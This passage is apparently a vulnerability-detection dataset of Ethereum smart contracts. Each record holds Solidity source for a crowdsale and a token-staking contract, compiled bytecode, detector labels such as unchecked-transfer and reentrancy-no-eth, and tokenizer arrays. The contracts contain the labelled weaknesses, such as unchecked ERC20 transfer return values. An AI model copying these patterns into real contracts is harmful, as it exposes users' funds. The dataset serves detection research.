of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev called by the owner to withdraw unsold tokens */ function withdrawTokens() public onlyOwner { uint256 unsold = token.balanceOf(this); token.transfer(owner, unsold); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630fb5a6b4146101125780631515bc2b1461013b5780632c4e722e14610168578063355274ea146101915780633f4ba83a146101ba5780634042b66f146101cf5780634b6753bc146101f85780634f93594514610221578063521eb2731461024e5780635c975abb146102a357806363fd9e38146102d05780638456cb59146102f95780638d8f2adb1461030e5780638da5cb5b14610323578063b7a8807c14610378578063be9a6555146103a1578063ec8ac4d8146103b6578063f2fde38b146103e4578063fc0c546a1461041d575b61011033610472565b005b341561011d57600080fd5b61012561052c565b6040518082815260200191505060405180910390f35b341561014657600080fd5b61014e610532565b604051808215151515815260200191505060405180910390f35b341561017357600080fd5b61017b61053e565b6040518082815260200191505060405180910390f35b341561019c57600080fd5b6101a4610544565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b6101cd61054a565b005b34156101da57600080fd5b6101e2610608565b6040518082815260200191505060405180910390f35b341561020357600080fd5b61020b61060e565b6040518082815260200191505060405180910390f35b341561022c57600080fd5b610234610614565b604051808215151515815260200191505060405180910390f35b341561025957600080fd5b610261610623565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102ae57600080fd5b6102b6610649565b604051808215151515815260200191505060405180910390f35b34156102db57600080fd5b6102e361065c565b6040518082815260200191505060405180910390f35b341561030457600080fd5b61030c610662565b005b341561031957600080fd5b610321610722565b005b341561032e57600080fd5b610336610954565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038357600080fd5b61038b610979565b6040518082815260200191505060405180910390f35b34156103ac57600080fd5b6103b461097f565b005b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610472565b005b34156103ef57600080fd5b61041b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109ee565b005b341561042857600080fd5b610430610b43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506104828383610b69565b61048b82610c1a565b90506104a282600454610c3890919063ffffffff16565b6004819055506104b28382610c56565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a3610527610c64565b505050565b60095481565b60006008544211905090565b60035481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105a557600080fd5b600060149054906101000a900460ff1615156105c057600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60045481565b60085481565b60006005546004541015905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106bd57600080fd5b600060149054906101000a900460ff161515156106d957600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561083b57600080fd5b5af1151561084857600080fd5b505050604051805190509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561093957600080fd5b5af1151561094657600080fd5b505050604051805190505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109da57600080fd5b426007819055506009544201600881905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a8557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff16151515610b8557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610bc157600080fd5b6006548110151515610bd257600080fd5b600554610bea82600454610c3890919063ffffffff16565b11151515610bf757600080fd5b6007544210158015610c0b57506008544211155b1515610c1657600080fd5b5050565b6000610c3160035483610cc890919063ffffffff16565b9050919050565b6000808284019050838110151515610c4c57fe5b8091505092915050565b610c608282610d03565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610cc657600080fd5b565b6000806000841415610cdd5760009150610cfc565b8284029050828482811515610cee57fe5b04141515610cf857fe5b8091505b5092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610dc757600080fd5b5af11515610dd457600080fd5b505050604051805190505050505600a165627a7a72305820e092979517f5c4eff75cbe8251d6a52fea646151cad2a33b99e1db456a6b82180029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2575, 16147, 19841, 27717, 3540, 2497, 2575, 2050, 27531, 9818, 2475, 7011, 2546, 27009, 2549, 2546, 2620, 2581, 2509, 26337, 2692, 2575, 21926, 2581, 2497, 14141, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,366
0x96a670e362ee4536ce0033ce22f4ebe257daae05
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract beesfinancestaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // beesfinance token contract address address public constant tokenAddress = 0xC483ad6F9B80B38691E95b708DE1d46721366ce3; // reward rate 60.00% per year uint public constant rewardRate = 6000; uint public constant rewardInterval = 365 days; // staking fee 1.00 percent uint public constant stakingFeeRate = 100; // unstaking fee 0.00 percent uint public constant unstakingFeeRate = 0; // unstaking possible after 72 hours uint public constant cliffTime = 72 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } uint private constant stakingAndDaoTokens = 13200e18; function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } // function to allow admin to claim *any* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610429578063d578ceab14610481578063d816c7d51461049f578063f2fde38b146104bd578063f3f91fa0146105015761012c565b80638da5cb5b1461031d57806398896d10146103515780639d76ea58146103a9578063b6b55f25146103dd578063bec4de3f1461040b5761012c565b8063583d42fd116100f4578063583d42fd146101c35780635ef057be1461021b5780636270cd18146102395780636a395ccb146102915780637b0a47ee146102ff5761012c565b80630f1a64441461013157806319aa70e71461014f578063268cab49146101595780632e1a7d4d14610177578063308feec3146101a5575b600080fd5b610139610559565b6040518082815260200191505060405180910390f35b610157610560565b005b61016161056b565b6040518082815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b81019080803590602001909291905050506105b4565b005b6101ad610962565b6040518082815260200191505060405180910390f35b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610973565b6040518082815260200191505060405180910390f35b61022361098b565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b6040518082815260200191505060405180910390f35b6102fd600480360360608110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a8565b005b610307610b16565b6040518082815260200191505060405180910390f35b610325610b1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b40565b6040518082815260200191505060405180910390f35b6103b1610caf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610409600480360360208110156103f357600080fd5b8101908080359060200190929190505050610cc7565b005b610413611137565b6040518082815260200191505060405180910390f35b61046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113f565b6040518082815260200191505060405180910390f35b610489611157565b6040518082815260200191505060405180910390f35b6104a761115d565b6040518082815260200191505060405180910390f35b6104ff600480360360208110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611162565b005b6105436004803603602081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b1565b6040518082815260200191505060405180910390f35b6203f48081565b610569336112c9565b565b60006902cb92cc8f67144000006001541061058957600090506105b1565b60006105aa6001546902cb92cc8f671440000061155f90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f4806106bf600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b11610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061180c6034913960400191505060405180910390fd5b61071e336112c9565b73c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b8101908080519060200190929190505050610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6108a281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f933600261157690919063ffffffff16565b801561094457506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561095f5761095d3360026115a690919063ffffffff16565b505b50565b600061096e60026115d6565b905090565b60056020528060005260406000206000915090505481565b606481565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0057600080fd5b73c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a6457610a5d816001546115eb90919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b810190808051906020019092919050505050505050565b61177081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b5682600261157690919063ffffffff16565b610b635760009050610caa565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610bb45760009050610caa565b6000610c08600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610ca1612710610c936301e13380610c8587610c776117708961160790919063ffffffff16565b61160790919063ffffffff16565b61163690919063ffffffff16565b61163690919063ffffffff16565b90508093505050505b919050565b73c483ad6f9b80b38691e95b708de1d46721366ce381565b60008111610d3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610de057600080fd5b505af1158015610df4573d6000803e3d6000fd5b505050506040513d6020811015610e0a57600080fd5b8101908080519060200190929190505050610e8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b610e96336112c9565b6000610ec0612710610eb260648561160790919063ffffffff16565b61163690919063ffffffff16565b90506000610ed7828461155f90919063ffffffff16565b905073c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f7e57600080fd5b505af1158015610f92573d6000803e3d6000fd5b505050506040513d6020811015610fa857600080fd5b810190808051906020019092919050505061102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61107d81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d433600261157690919063ffffffff16565b611132576110ec33600261164f90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b600081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006112d482610b40565b905060008111156115175773c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b505050506040513d602081101561138e57600080fd5b8101908080519060200190929190505050611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61146381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114bb816001546115eb90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561156b57fe5b818303905092915050565b600061159e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61167f565b905092915050565b60006115ce836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6116a2565b905092915050565b60006115e48260000161178a565b9050919050565b6000808284019050838110156115fd57fe5b8091505092915050565b6000808284029050600084148061162657508284828161162357fe5b04145b61162c57fe5b8091505092915050565b60008082848161164257fe5b0490508091505092915050565b6000611677836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61179b565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461177e57600060018203905060006001866000018054905003905060008660000182815481106116ed57fe5b906000526020600020015490508087600001848154811061170a57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061174257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611784565b60009150505b92915050565b600081600001805490509050919050565b60006117a7838361167f565b611800578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611805565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220b37b8799366fe0c1ea7e672119025e9e7196dac9a960abf19d845187df32203f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
